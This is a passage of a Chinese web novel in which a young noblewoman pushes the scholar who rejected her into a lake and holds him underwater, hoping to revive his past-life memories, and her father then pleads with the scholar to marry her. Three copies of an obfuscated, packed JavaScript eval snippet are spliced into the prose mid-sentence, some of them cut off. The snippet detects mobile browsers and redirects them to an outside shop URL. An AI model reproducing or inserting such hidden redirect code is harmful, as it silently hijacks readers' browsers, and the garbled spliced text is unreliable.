林若柏一怔,睁大眼眸仔细打量自己闺女。 她面色平静和往常并无两样,可那双琉璃般眼眸亮晶晶的,一点儿不似过去眼中柔光,透出一股不屈的倔劲。 林若柏回想,林蓁平日不吭声不吭气,遇到方怀简一夜之间便似长了主心骨,恁有主意。到底是女儿的单相思,还是他俩之间有什么,让她这般不屈不挠? “他给你什么应诺了吗?你见他要说什么?一厢情愿是不成的”,林若柏盯着林蓁问。 林蓁说不出什么细节,垂眸避开父亲目光,回道:“总之不是单相思,我想和他见面说清楚”。 林若柏沉默地看着林蓁。 他年轻时遇到林蓁母亲唐氏一眼万年,亦是百折不挠颇费心思和手腕才得到心心恋恋的美人,如今林蓁这般,倒和自己年轻时有些相似。想想自己年轻时爱慕唐氏的苦楚,林若柏轻叹了一声,他有些理解林蓁,可男追女和女追男到底不一样,林蓁面对更多看不见的阻扰,更不要说那些风言风语。 “再见面说明白,若他对你无意便收了这心思罢,世间无数瑰伟男儿,莫为一叶而失了森林”。他不知这话对林蓁有没有用,若是回到昔年年轻的自己面前,怕是没啥作用,可自己人生大半,心境早就异于当年,不愿见林蓁为得一颗真心十倍百倍付出,总归会安安稳稳嫁一个稳妥男子,他不会给她找太差的,他记得对唐氏的承诺。 林蓁一直以为父亲是老古板,在自己亲事上遭遇的诸事让她看到父亲另外一面,原来他亦赞同两情相悦于飞之愿,可她也没法多说什么,只“嗯”了一声,应道:“女儿明白”。 “有需要父亲帮你的吗?” 林蓁摇摇头。 林若柏默了片刻,嘱咐道:“小心些,莫让人知晓,守礼莫逾矩”。 林蓁颔首。 “有事儿和父亲说”。 * 端午,艳阳高照。 皇城中最大的湖泊未央湖每年此时都会举办龙舟赛,参赛队伍多种多样,有民间团体,还有各个官衙派出的队伍,甚至还有几支女队。总之,是夏初皇城里最热闹的节日,天子亦会率文武百官观看。 英国公府的大小主子们每年亦会凑这个热闹,管家们早就做好了安排,大房二房的诸位公子姑娘们用过午膳,便坐上自家马车,浩浩荡荡往未央湖边去。 其他主子们去看龙舟赛稀松平常,林蓁也去颇让大房二房的两位夫人奇怪,因着林蓁从未去过。不过最近她反常的事儿挺多,两位夫人明面没说什么,暗地里都安排人看紧点儿,陈氏尤其叮嘱女儿林葳这次跟紧点儿,别在人山人海的今日出丑。 云娘亦不放心林蓁出门。 自那日林蓁顶着青紫的背回来,云娘给她擦了半个多月的药,问又问不出什么,云娘擦一次掉一次泪。想着伤这么重,那个榜眼不说探望,总可以想方设法送封信或者捎个口信问候个好歹,可看林蓁整半月足不出户闷闷不乐的样子,就知道那榜眼压根没把林蓁当回事。 云娘心疼的呀,还不好在林蓁面前说什么。本以为这个端午节和往常一样过,谁知林蓁昨晚细心挑选衣裳和发饰,一问才知准备端午节出门。云娘当即有了疑心,直言不讳道:“当年追你娘的那些个年轻后生,哪个不是送钱送物,不仅送各种稀罕物,卯着劲往心眼儿里送,还要陪着说笑,逗你娘开心,这才是真的喜欢,你娘便是手指翻书累了,那都要捧在怀里心疼半天,恨不得替你娘看书!” 云娘眼里若隐若现林蓁生父陪伴小姐唐氏那些花前月下吟风弄月,那是真甜蜜真缠绵,林蓁这算什么呢。 见林蓁不搭理,云娘挑明了问:“你是不是准备去见那个榜眼?” 林蓁道:“你让小弟跟着我好了”。 云娘闹气道:“我本就想和他如此说”。 她哪里知道林承俭早就被林蓁摆平了呢。 临上马车前,云娘对林蓁姐弟俩千叮咛万嘱咐,尤其对林承俭,就差给他递根绳子让栓在姐弟俩身上。 林承俭自信满满,今日他第一次带着姐姐妹妹们出游,早做了万全计划,而且林蓁拍着胸脯给他保证两人同进同出,绝不添乱。 一大家子在未央湖边最气派的酒楼揽月楼里包了三间临湖雅间,热热闹闹看了一下午龙舟赛,一直看到天子给胜出者队伍赏赐后才意犹未尽准备归家。 林蓁看得挺认真场场不落,全程未出过雅间,林承俭对姐姐妹妹们服伺得上心,没出啥幺蛾子,盯着林蓁的几双眼睛才放下心。 落霞余晖,整个未央湖泛起金色,与天上粉彩连成一片。龙舟陆续靠岸停泊,英国公府众人已收拾妥当。 临上马车前,林承俭对管家道:“我陪三姐到附近逛逛,三姐难得出来,我们去看个热闹,给我们留一辆马车”。 管家虽意外,但想着有小公子陪着三姑娘,出不了差池,遂问道:“可要几个奴婢跟着?” 说着就要唤站在一边等着伺候的林蓁大丫鬟碧竹。 “不用不用”,林承俭道,“我陪三姐逛,带着她们还要顾及更多,累赘”。 管家点头:“人多,小公子可要多小心”,便去安排。 当下林承俭和林蓁对视一眼,心有灵犀。 谁知已上了马车的林萃爬下马车,跑到林蓁面前拉起她的衣袖:“三姐姐,也带我去好不好?我也想逛”。 林承俭面色闪过一瞬惶急,随即恢复自然。 “你又不是没去过,你跟着他们回去,不然周姨娘要骂你!” 林萃拽着林蓁衣袖,只央求林蓁。 林承俭的变化,林葳尽收眼底,她走过来对林承俭笑道:“小弟,你带三姐姐玩不带我们,太偏心了噢!” 说着拉起林萃的手,嬉笑道:“我们偏跟着他们,四哥哥不能这么薄待你!” 林承俭不满道:“你三天两头出门,还没逛腻味?” “我今天带着六妹妹,怎么会腻!” “走罢走罢,那就一起去逛逛”。林承俭还想说什么,不成想林蓁倒是爽快答应,他看了林蓁一眼,不知她什么打算,带着这两人等会怎么丢开呢。 四人顺着湖边走走停停。 这是临湖的一条热闹街道,沿湖有许多生意兴隆的商铺,酒楼茶馆,银楼布庄,无不人流如织,因着端午节龙舟赛事,靠湖的这边今日还多了许多小摊贩,凉茶凉粉,画糖画的,吹糖人儿,面粉人偶的,应有尽有,琳琅满目。 林蓁几乎每一个小摊都要驻足观看一番,觉得有意思的,便要林承俭掏钱买。林葳没心思看东看西,她只看林蓁,不过跟着林蓁逛了不知多少摊摊,她也有些疲了。 再一次经过一个人头攒动的摊摊时,林葳懒得再跟着林蓁的脚后跟钻进人群里,她站在一边看着,等了一会儿,见林萃满脸笑拿了一个硕大无比的糖人钻出来,走近一看,比手掌还大的葫芦模样。 林萃一边小心舔着葫芦一边笑:“我见过的最大个儿!” 林葳有点儿心痒,对林萃道:“你去给我买个一样的!叫四哥哥付钱!” 林萃不太高兴:“有好多种呢,四姐姐别和我买一样的!” “别乱走,在这儿等着!”林葳吩咐了林萃一句,便往林承俭身边走去。 她挤到林承俭跟前,林蓁正紧挨着摊摊看着师傅吹糖人。 “你买了吗?”林葳问林蓁。 “这个就是我的”,林蓁指着师傅正在做的公鸡,金光灿灿,活灵活现。 林葳低头看着木板上的画,葫芦公鸡奔马耕牛等等眼花缭乱,她看着一头大肥猪,感觉那个吹起来一定最大,遂指着猪对林承俭道:“小弟,你给我买这个!” 林承俭点头。 林蓁拿着她的大公鸡欣赏,林葳扫了她一眼,目光落在师傅给她吹的大肥猪上,她紧张地提醒:“慢点,慢点”,见师傅有停下来趋势,又着急:“别停!还可以再吹一点儿,再吹,再吹一点儿!” 终于!她拿到了她见过的最大的糖人,大肥猪比林萃林蓁的都要大! 林葳满意地笑了,拿着大肥猪正要给林蓁看,陡然发现,林蓁已不在原处。她赶忙看向林承俭,显然他也刚刚发现。 两人挤出人群,就见林萃拿着葫芦认真舔着,林葳的大丫鬟绿汐站在一边陪着。 林葳问绿汐:“三姑娘呢?” 绿汐疑惑,手指向那个糖人摊:“三姑娘不是在里面看热闹吗?” 林承俭伸长脖子四处张望,大街上来来往往无数张脸,哪里有林蓁的人影! 虽然他知道她去了哪儿,可她一个人去见方怀简,林承俭不放心。上次她的肩伤那么重,这次他可不想姐姐再磕到碰到哪里。 “你们就在这儿,哪儿也别去,我去找找!”林承俭撂下话就往聚善亭方向走。 林葳也想跟去,被绿汐拉住:“姑娘,我们还是这里等吧,别等会和小少爷也走丢了”。 林葳烦道:“跟着他不就行了!” 拉扯间再看林承俭,他亦消失在人海,林葳急得一跺脚:“都怪你!” 这边林蓁趁着林承俭林葳关注糖人的空当,随手把糖人送给一个路人,撒腿就往聚善亭奔。 想到马上可以再见飞飞,她的身体似乎都变得轻盈,整个人像蝴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方德山真恨不能有地缝他能钻进去。他不明白小公子带他来这里做什么,还特意叮嘱看着林家姑娘阻拦她的动作。以前有姑娘想和他说话,他都是支开他们这些长随。 “你有没有想过我们之间无法解释的东西?” 我们之间,有什么无法解释?方怀简头疼。 再不直说她不知要胡言乱语些什么了,方怀简长吸一口气,郑重道:“林三姑娘,我今日来,是想和你清清楚楚说明白”。 林蓁仰着笑脸看他,如向日葵迎着阳光绽放。 方怀简努力把她想像成一颗长得快绽开的大白菜。 “我之前不认识你,今后也不会喜欢你。我希望的是父母之命媒妁之言互通心意的夫妻之情,不希望你这般毫无规矩行为无羁的女郎为侣。望林三姑娘好自为之”。 “可我如此是因为我们前世——” “林三姑娘,我不想说更难听的话”,方怀简打断林蓁话语,语气尖锐冰冷,“梦得醒”。 林蓁看着方怀简,笑容渐渐淡去,眼泪溢出眼眶一滴滴滚落出来。 她有心理准备,骂醒她那些话都是她教小弟说的,可真正从飞飞口中说出来,她还是止不住难过。 别伤心,不要哭,林蓁给自己打气,别忘了今日见面最重要的事。如果他对自己温声软语,接下去自己怎么下得了手呢。 方怀简看着林蓁泪珠连成线。他本来还准备了一些话术,突然间忘得干净,不知还要说些什么,不想再说伤她的重话,但也不想说安慰的话。 忽然之间周遭路人十分呱噪,轻笑声,叫卖声,交谈声,刺得方怀简耳膜痛。 方怀简说话时,方德山偷瞄了一眼林蓁,见刚刚一张欢喜雀跃的脸转瞬泪流满面,他心里一阵酸痛赶紧转移了视线。 他真的不明白,他家小公子平时不是这样的人,对谁说话都和和气气,怎么对待一个小姑娘说得这么不堪,他这是怎么了! 这会儿两人寂静无声,他忍不住再瞄一眼。 就见林蓁瞬间朝小公子冲了过来。 说时迟那时快,方德山一惊,下意识按方怀简交代的以身阻拦。 林蓁亦是一惊,她压根没注意方怀简身边还有个人,以为是在聚善亭里观景的闲汉。 箭已离弦,她用尽全身力气撞向二人,“扑通”几声巨响,聚善亭边的水岸溅起人高的水花,旁边赏景的游人惊叫:“有人落水啦!” 方德山自幼跟在方怀简身边,是老夫人秦氏在老家会山给方怀简找的伴读。老家会山有山有水,方德山会凫水,他憋着气在水里使劲蹬了几下就浮出水面。 抹了把脸上的水,他急忙看向周围,除了自己,水面上哪里有小公子和林三姑娘的影子。 他再往水中看,这未央湖水碧绿,看不太真切,但也能看到湖底大概有人影,两个紧紧纠缠在一起的人影! 顿时他惊得汗比水多! 小公子和他一样会凫水,技术虽没多好,在这平静的未央湖边自保肯定没问题,为何沉在水底?! 想到刚才林三姑娘涕泪连连不言语,那猛然冲出的疯狂劲,她要拉着小公子殉情?!! 手脚忽然一阵抽搐,方德山瞬时快要没入水面,他拼命击打着水花,急得对岸边围观人群嘶吼:“救我家公子上岸者,重酬五十两!不,一百两!” 16. 第 16 章 林蓁对这次见面做了周密计划,当然不是见面谈情说爱,飞飞没有想起以前,自然和她无情可谈。 她要让他想起来。 当初她幼年掉入家中池塘,发烧昏迷了一段时间,过往记忆才潮水般势不可挡涌入。她仔细回忆和推演了一番,认为大脑濒临死亡的那瞬间,会激发隐藏脑海深处的记忆。她没有别的好选择,无论如何,她想试试。 她旁敲侧击向小弟林承俭打听过,未央湖每年端午要举办龙舟赛,赛前都会疏浚淤泥,保持未央湖一定深度,这就是极好机会。 一切进行得很顺利,掉入湖中后林蓁迅速游到飞飞身后,飞飞大概以为她来救他,还向她摆手示意他会凫水,林蓁闭上眼睛从他身后肩膀处往下死死环住了他。 飞飞剧烈挣扎,可林蓁只有这一次机会,怎会放手?!她使出出生以来最大力气,似洪荒之力牢牢箍住他,不看他,不管他的任何反映,心里默默数数,祈祷飞飞快点憋昏过去,只要他没了动静,五秒后她就会带他出水。 可这个时空里飞飞竟然会凫水会憋气,一直殊死扑腾。 很快头顶传来巨大扑腾声,林蓁睁眼看去,两个年轻壮汉赤着上身向他们游来,应该是来救人的人。 林蓁箍着飞飞想离救人者远一些,多争取一些时间,可飞飞哪里会配合,他的手臂虽被她箍得死紧,手掌却使劲掐她胳膊,她差点松了手。 在两个壮汉即将碰触到他们时,林蓁放开了手,不甘又无奈把飞飞推向了救人者。 林蓁眼睁睁看着飞飞被救走,其中一个壮汉还想来拉她,她迅速掉头向反方向游走。 和男人掉入湖里已是这个时空女性的噩梦,如果她被一个赤着身子的壮汉救起,等飞飞想起来时,她大概已被唾沫星子淹死。 林承俭赶到聚善亭时,最是闹哄哄时。他不明就里,挤到聚善亭里并未看到林蓁和方怀简二人,正纳闷方知有人落水,他刚想打听落水人的样貌,就听得人群里有人呼喊:“救到了!救到了!” 见几个挤在一处看热闹妇孺那儿还有空隙,他赶紧挤到边上一个缝隙往水里一瞧,两个赤身壮汉正一左一右拉住一个年轻男子往岸边游来,那年轻男子正是方怀简! 林承俭瞬间冒出冷汗,他一边抬头张望,一边慌乱大喊:“三姐!三姐!” 没人应声,又听看热闹的旁人道:“还有个女子在水里”,一瞬间他血管里的血都要冲出来! 林承俭呆了须臾,他不会凫水,看到不远处卖茶水的摊摊支着遮阳的布棚,他瞬间奔了过去,也不管人家是否愿意,徒手两下子拔出支撑布棚的竹竿,拿着竹竿往聚善亭跑。 跑回来时,方怀简刚刚上岸。 林承俭顾不上说话,拿着竹竿想捞人,可视线里根本没有林蓁的人影! 方怀简看见他,向他指指身边救人的壮汉:“让这两位壮士帮忙救人!” 事到如今顾不得其他,人命第一,林承俭刚点头,就听人群里有人道:“在那里,在那里!” 他急忙转头,顺着看热闹者指的方向望去,林蓁正从远处慢慢游来! 紧绷的神经蓦地松懈,却丈二金刚摸不着头脑,到底发生什么了? 林蓁游得远了确信没人再来救她,这才往回游。这会儿她似失了力气,胳膊酸痛得难以用力,慢慢腾腾向岸边游。 突见聚善亭岸边人群中林承俭高举着竹竿向她挥舞,林蓁便向弟弟游去。 见林蓁游近,林承俭赶紧把外袍脱了只剩白色中衣,又把竹竿递向她。在拉起林蓁一瞬间,林承俭把外袍披在林蓁身上。 林蓁这才注意自己衣裳,湿漉漉紧贴在身上自不必说,两只衣袖都被扯得破烂不堪,胳膊布满红紫光溜溜露在外面,小臂上几乎没有好的地方,还有些破损处淌着血。 怪不得胳膊酸疼没有力气划水,林蓁想起来,这是刚刚飞飞拼命挣扎时留下的印记。 “都散了,都散了啊,没啥可看的”,见人已经救起,围观人群还没散的意思,方德山开始驱赶起了人。 四人此刻一个赛一个狼狈。 方怀简主仆二人头发衣袍还在滴水,林蓁两个袖口变成破布,可以称得上褴褛,林承俭一身令人尴尬的中衣。 林蓁看向方怀简。 想象的他头晕目眩站不直身,脸色惨白坐倒在地上,不住狂咳或者狂吐着湖水,至少需要回家卧床一周。 可他就站在林承俭边上,除了衣袍湿了贴在身上没有任何异样,甚至腰杆都未曾弯上一分,仿佛天热去湖中尽情玩了趟水而已。 林蓁挫败感油然而生,这个方法也不顶用,她该怎么办啊!本来就没甚力气,现在更是全身虚脱,脚步一步都提不起了,她歪歪斜斜靠着林承俭,手掌紧抓着他的胳膊。 林承俭问仨人:“怎么都落水了?” 方德山看了一眼他家公子,没吭声。 自林蓁出现在水面,方怀简目光没有离开过她。此刻两人对林承俭的问题置若罔闻,方怀简迎上林蓁目光,想知道自己在湖底一直想弄明白的问题:“你想做什么?想我们一起死?” 他声音很平静,表情也很淡定,林蓁本以为他就算不暴跳如雷,也会生她的气。 可方怀简这样,林蓁反而有点看不明白,她尽量解释:“想让你想起来,人濒死时会想起很多,我就是这样想起来的”。 方怀简:“……”。 他错得离谱!以为那些话刺破了林蓁的心,她一时冲动做出不能同日生但求同日死的事。 他从不想死,今日在鬼门关走了一遭,他以为他要完蛋的那一刻也没有恨她,还反思自己言语过分活该如此,有她陪着共赴黄泉他不能喊冤。 她如此对他,让他命悬一线,在她说出这句话之前,方怀简对林蓁没有一点儿怨愤,满心都是愧疚。 可竟然不是这么回事?! 她如此执拗于她的虚妄? “你儿时有没有发烧过,病了很久?” “有啊,就是那次发烧病了很久,好了后我就全想起来了!” 方怀简目光捉摸不定,林蓁突然意识到不对。 她旋即改口:“我没病,我脑子正常的!” “我说的是真的!” 方怀简不再多说。林蓁或许喜欢他,但这种喜欢没有任何根基,原来源自于她虚无缥缈的幻梦,她信以为真的幻梦。 她美丽又可怜。 自己可叹又幸运。 他向林蓁作了个揖。 “林三姑娘受伤是我的错,但事出有因,我想林三姑娘不会计较”。 “就此别过,再不复见,保重!” 他转身就走,林蓁急忙伸手拦他,但她行走趔趄,被林承俭挡住。林承俭听得懵懵懂懂,但有一点听明白了,落水之事和方怀简无关,相反他应是受害者。 林承俭扶着林蓁,追在方怀简身后赔不是:“方翰林,是不是有什么误会?今日之事,让方翰林受惊了!我改日会到府上赔罪!” 方怀简本不想搭理,听到这话反而停驻脚步。 “这事儿到此为止。你不要去我家,我们就当它没发生过,这样对我对你们都好!” 刚刚挤在一堆看热闹的人慢慢散了,仍有三三两两目光扫过来,议论之声依然不绝于耳。林承俭明白,落水之事谁也不知道最好,他道:“既然如此,方翰林他日有用的上林某之处,林某愿效犬马之劳”。 方怀简的马车就在聚善亭不远处,此刻车夫看到主人,将车驶了过来。 上车之际,方怀简再次看向林蓁。 她神情有些呆呆的似乎有些落寞,但面上毫无愧色,目光亦是大胆直接,丝毫不惧不慌。 方怀简心内叹气,她好像真的有那个大病。 来时她似仙子,此时落难凤凰不如鸡。看着她斑驳的胳膊,方怀简无语又无奈,他问林承俭:“你们马车呢?” 林承俭正发愁,今儿端午节马车行驶路线有许多限制,英国公府的马车在揽月楼那儿,走过去还有好一段距离。 他是无所谓,可林蓁披着他的外袍走大半条街,明天大半皇城的人应该都认识他姐姐了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13958809|147136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们坐我的马车去前面布庄换身衣服,我走去布庄”。 林承俭铭感五内。 两人正要上车,有人唤了声“四哥哥”。两人看过去,林葳林萃还有林葳大丫鬟看着他俩目瞪口呆。 马车坐不下这么多人,林承俭让三姐妹坐马车先去布庄。 马车上,林葳陷于巨大震惊中。 她和母亲担心林蓁再出现和男人拉拉扯扯不清不楚丢脸的情形。 可她直接跳过这个阶段,和方怀简一起落水了,还坐他的马车去买衣裳。 想起刚刚在路上听到的闲话。 “紧搂着掉到水里”。 “赤身汉子救的人”。 …… 想起林蓁上车前对方怀简的叮咛。 “想起来就来找我!” 林蓁和方怀简不成亲没法收场吧。 林葳说不上来什么情绪,甚至看到林蓁受伤的胳膊有股嫉妒羡慕恨。 方怀简走到布庄时,林蓁衣裳尚未买好,他和林承俭道别,命车夫直接去毅勇侯府。 他和方德山都成了落汤鸡,直接回家难避众人,父母知道今日之事必滋事端。 去毅勇侯府呆上一段时间晚上再回家,无人生疑。 毅勇侯府,管家迎了出来。 “方公子今日没和我家公子一起吗?二公子尚未回府”。 “无妨,我等他”。 管家带他去了时隽的院落,见他一身湿,安排下人准备热水。待将方怀简安排妥当,管家去向谢氏复命。 方怀简对时隽院落熟悉得像自己宅院,洗了个澡换上放时隽这儿自己的衣袍,管家按谢氏的吩咐送过来饭食。 吃到一半时,时隽方才回来。 时隽诧异:“你不是陪侄子相亲去了吗,怎么没和他们一起回家?” 随即笑道:“你侄子相亲成功了,你郁郁寡欢了?” “听管家说,你和德山全身湿透了?你们干嘛了?” 方怀简抬眸,对上时隽调侃目光,语气郁闷:“我去见林蓁了,她把我们推到湖里”。 时隽呆了一瞬,想象不出林蓁一个柔弱女子竟把两个身形高大的年轻男子推进湖里。 他忘了埋怨方怀简说谎骗他,直问道:“她怎么做到的?” 方怀简家中幺儿年纪和侄儿侄女差不多,因父母极其疼爱,故哥嫂都叮嘱儿女莫要和幺叔冲撞,他在家便没什么玩得开的知心朋友,时隽自小直爽性格常常和他打架,反而这么多年处下来成了无话不谈的好友。 方怀简没什么顾虑,把今日之事说了一遍,提到前世今生时,又把上次见面时林蓁提到的轮回,她画的画都一股脑儿讲给了时隽。 心中积郁悉数倾吐,方怀简问时隽:“你说,她找借口如此?还是真是如此?还是——” 方怀简指指脑袋:“有问题?” 时隽第一次听说如此离奇之事,他转了转眼眸,揣测道:“她是英国公府二房庶女,长得这般美貌却才被人知晓,估计在府中常受磋磨。 我听说许多弱小无助之人备受折磨时常常幻想一些美好,麻痹自己以苟延残喘,或许她便如此?幻想有你这样一个如意郎君爱她爱得死去活来,解救她于水深火热”。 方怀简拢眉不语。 时隽拍了一下他的肩,朗声道:“这些其实不重要,不管源何而起,重要的是你愿意做解救她的那个人吗?” 时隽想了想,语气中有些怜悯:“若她因臆症而有此等举止,内心必无比苦楚,拯救她的人必是她的光”。 自己会做谁的光?方怀简默默细想,好像从未有过如此想法。那他对她,应该不算在意? “你们落水,多少人看见?”时隽打断他的沉思。 回想聚善亭里人挨人无数双眼睛,方怀简道:“都不认识,应该无事”,接着不忘叮嘱时隽:“这些事你别和任何人提!” 时隽不满道:“自从遇到她,在你心里我是长舌妇? 我提醒你,落水之事可大可小,若传出去她家来逼娶,你可想好了!” 17. 第 17 章 尽管林承俭晓以利害,连哄带吓让三姐妹对今日之事管住嘴,但林葳怎可能听他话,第一时间将这事儿告诉自己母亲陈氏。陈氏又惊又怕,她没有林葳那么乐观,好则罢不好林蓁名声坏了连累二房所有人,当晚就说给了林若柏知道。 林蓁会去找方怀简,林若柏心里有数,但想不到竟会如此,而且姐弟们都守口如瓶不吭气,听陈氏描述那方怀简定然对林蓁无意。当下心里急得上火,就要把姐弟几个叫到书房当面询问明白。 陈氏劝道:“葳儿只和我说了,你先别整这么大动静,明天再唤他们”。 林若柏勉强按捺下心思,第二日上值都心不在焉,周围人有咬耳朵打趣的就竖起耳朵紧张万分,担心谁谁议论的是林蓁落水之事。 下值回家听说林承俭亦放学,当即叫他到书房。 “昨日怎么回事,你老老实实一句不漏完完整整说出来,这关系到你三姐能否嫁于良人!” 林承俭进了书房,林若柏劈头盖脸直接问,林承俭本来忐忑不安的心反而如石头落了地,当下没什么好遮掩和隐瞒的,把自己所见都说给了父亲。 昨日之事,林承俭猜测落水因林蓁而起,但不好多问林蓁,而且亲眼见了方怀简行事镇定坦荡温良,他对方怀简添了几分好感,只可惜方怀简对三姐无意,他亦很为林蓁郁闷。 今日上学有同学特意来问他是否认识上一届殿试榜眼方怀简,同学说话间眼中流露羡慕之色,他猜测已被人看到昨日和方怀简同行。林承俭不担心自己,回想聚善亭湖岸围满摩肩接踵的人群,林蓁当时那么大动静,看到的人肯定更多。 林承俭说了自己的担心,问父亲:“方翰林真的很和善,三姐和他真的没可能吗?父亲能想想办法吗?” 林若柏头疼,林蓁都低眉垂眼这样了方怀简都没任何表示,还有什么办法。 “去把你三姐叫来!”他愤然。 林承俭噤若寒蝉便要退出,他刚要转身,林若柏叫住他,他改了主意:“你直接回房去,这周都不许出门!好好反省!把《法言》抄十遍!” 林蓁落水而方怀简这般冷待她,林若柏担心女儿情绪不稳,若等会问起话来哭哭啼啼被人看到就更坏事了。他在书房呆了片刻整理一番凌乱思绪,亲自去了沁院。 落日余晖给整个沁院披上温馨柔光,林若柏踏入院门时,院子里悄无人声,林蓁正在院子一角给她的花花草草浇水。她垂首蹲在地上,仔细用小竹叉清理花草间细碎杂草,待清理完毕,给花草根部洒上水,继续转移到下一株。 林若柏悬着的心安了半分。 林蓁喜欢看医书,常常按照书上所说摆弄一些药草,这沁院的一个角落就是她专门开辟出来种她的心头好。这会儿还能如常捣鼓这些费事玩意儿,至少意味着她心情还没糟糕透顶。 林若柏走到女儿身边。 长长身影挡住斜阳落在药草地上,林蓁转头就看到一张慈爱的脸,父亲正看着自己。 “父亲”,林蓁站起身唤了一声,不知怎的,眼泪瞬间涌出,不争气地滚下面颊,落在药草地上。 林若柏似乎看到林蓁还微微扯了扯衣袖,想遮盖住手腕上的紫痕。 他心疼了一瞬,女儿是委屈的,她哪能不委屈呢,她还从未在他面前掉过泪,更别说为一个男人掉泪。 “我们房里去说,和父亲好好说!” 林蓁说的和林承俭一样,但林若柏关心的问题她却不提。 林若柏忍不住问:“你们到底怎么落水的?” 林蓁不说话了,垂首扣着手指。 林若柏明白了,肯定是林蓁想的什么主意,让方怀简下水救她。 他不再追问,只心疼道:“你没想过最坏的后果吗?事到如今,如何收场?若是传出去,便是杜大人家那样的,只怕都难找了!” 林蓁眼泪扑簌簌往下掉。 她幻想方怀简和她一样,落水发烧重病一场就能想起以前,她病急乱投医,可她真的没有别的办法,现下方怀简应该不想再见她了,可她既见君子,怎能割舍放下。 “父亲”,林蓁哽咽道,“我放不下,您帮帮我”。 她眼泪无声淌着,长长睫羽湿润润的,挂着泪珠微微颤动,眼眸和鼻尖因哭泣而发红,嘴唇有些发紧,往日好看的酒窝也失了颜色,宛如被风雨蹂.躏萎靡不振的残花。 林若柏第一次见女儿如此伤心,他忍不住伸手摸摸林蓁的脸颊,想帮着拭去眼泪,可擦去一颗又掉下一颗,仿佛看到十几年前自己,为林蓁母亲唐氏揪心,为不能得到她而透骨酸心。 心里骂着方怀简不是东西,有什么好,可嘴上还是怜惜道:“莫哭了,莫哭了,爹想想办法”。 林若柏彻夜不眠。 他有什么办法,去方府打探被拒绝得干脆,林蓁都跳湖了也没换回方怀简的眼神,可一想到女儿哭泣的泪脸,他还得再继续想。 方怀简下值时被人叫住了。 来人自称林若柏,林蓁的父亲。 方怀简楞了神。 自那日和时隽倾吐后,两人设想过很多种情形,被英国公府的人找上门是其中之一。 当时方怀简还觉得这种可能性极小,毕竟林承俭说过,回去后家人会劝说林蓁,没想到林若柏这么快就找上门,才两天而已。 方怀简向林若柏回礼,直言不讳:“林大人找我,是为林三姑娘?” 林若柏想借一步说话,却被方怀简不留余地地拒绝了。 “林大人就在这儿说罢,方某实在没什么可说的”。 现在是求人,方怀简愿意交流未拂袖而去不能贪心太多,林若柏厚着脸道:“小女对方翰林痴心一片,想来方翰林知道”。 方怀简默不作声。 林若柏赖脸继续道:“前日小女落水,蒙方翰林搭救,林某感激不尽。可此事众目睽睽,小女今后必陷于蜚语恶言,求方翰林给小女一条活路”。 方怀简抬眉:“此话怎讲?” “众口铄金,积毁销骨,若方翰林愿意娶小女,无论什么条件林某都答应。嫁妆必倍数于英国公府过往嫁女,聘礼林某亦不要求”,林若柏抬眸看方怀简神色。 然而他无动于衷,林若柏甚至看出一丝鄙夷。 话已出口,此刻已不知脸皮为何物,林若柏咬咬牙:“求方翰林救人救到底,小女做妾也是可以的,陪嫁只多不少,只求入了方府全她一个名声”。 林蓁应该不想做妾,她那样泣不可仰必想的是一生一世一双人,可现下先入了方府再说,林若柏自作主张给女儿做了决定,林蓁那样貌美又是英国公的亲侄女陪嫁可管她几辈子,做个妾总可以吧。 方怀简意外林若柏如此低姿态,林蓁这是嫁不出去非他不可么。别说他家没有纳妾做法,就算让林蓁来做他的丫鬟,他现下也不敢有这个心思。谁知林蓁脑子里想什么,不经意间又发一次疯呢。 方怀简道:“林大人,有些事可能大人并不清楚,我这里一一给大人说明了”。 “林三姑娘痴心一片,非对我本人”。 “林三姑娘落水,非我所救,她会凫水是林承俭帮她上岸”。 “方某落水,乃林三姑娘恶意推搡故意为之,幸得路人相救。林大人的想法,实在难为方某,恕难从命”。 “而且,林三姑娘甚少出门想来熟人不多,落水之时并无任何熟人在场,方某承诺会守口如瓶,此事应会很快销声敛迹”。 “望林大人鉴谅!” 林若柏瞪目结舌。 他以为林蓁故意落水为引方怀简搭救,更不知林蓁明明一往深情,方怀简为何说“非他本人”。 林若柏坚持:“方翰林,小女在林某面前指天誓日,对方翰林真心绝无虚假!” 方怀简却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些都不应该是英国公府女眷的人生,林蓁的人生就是安稳嫁一个可靠的男人,这也是林若柏对林蓁母亲唐氏亲口承诺过的。 “爹会再给你找个好人家的,疼爱你的好人家”,林若柏软下口气,好生安慰。 她只是见过的男人太少,不知世界乾坤之大。 “我若不能嫁方怀简,我就想做姑子,或者去做女官”,林蓁执拗道,“大伯父要是不同意,我可以去官衙断了和英国公府的关系,我离开这里”。 “你知道你在说什么吗?!” 林若柏气得太阳穴突突跳,他一把拉过林蓁的胳膊,将她拉到内室翘头案前,那案几上挂着一副画,多年未曾更换过。 “你母亲遗愿是给你找个好人家,你对你母亲说,你不要,你要去做姑子做女官,就为一个莫名其妙的男人!” 林蓁泪如泉涌。 飞飞不是莫名其妙的男人啊,那是她的爱人,她的夫君呀!再次遇见他后,她怎会对别人动心呢! 林蓁对着唐氏画像,呜呜咽咽,哽噎难鸣。 “母亲,我若不能嫁方怀简,我去做姑子做女官,您泉下有知,保佑我”。 “你——” 林若柏气得说不上话,他不会让林蓁如此,她只是一时鬼迷心窍,而且唐氏让他发过毒誓,不对林蓁好不给她找个好人家,就会反噬到林承俭身上。 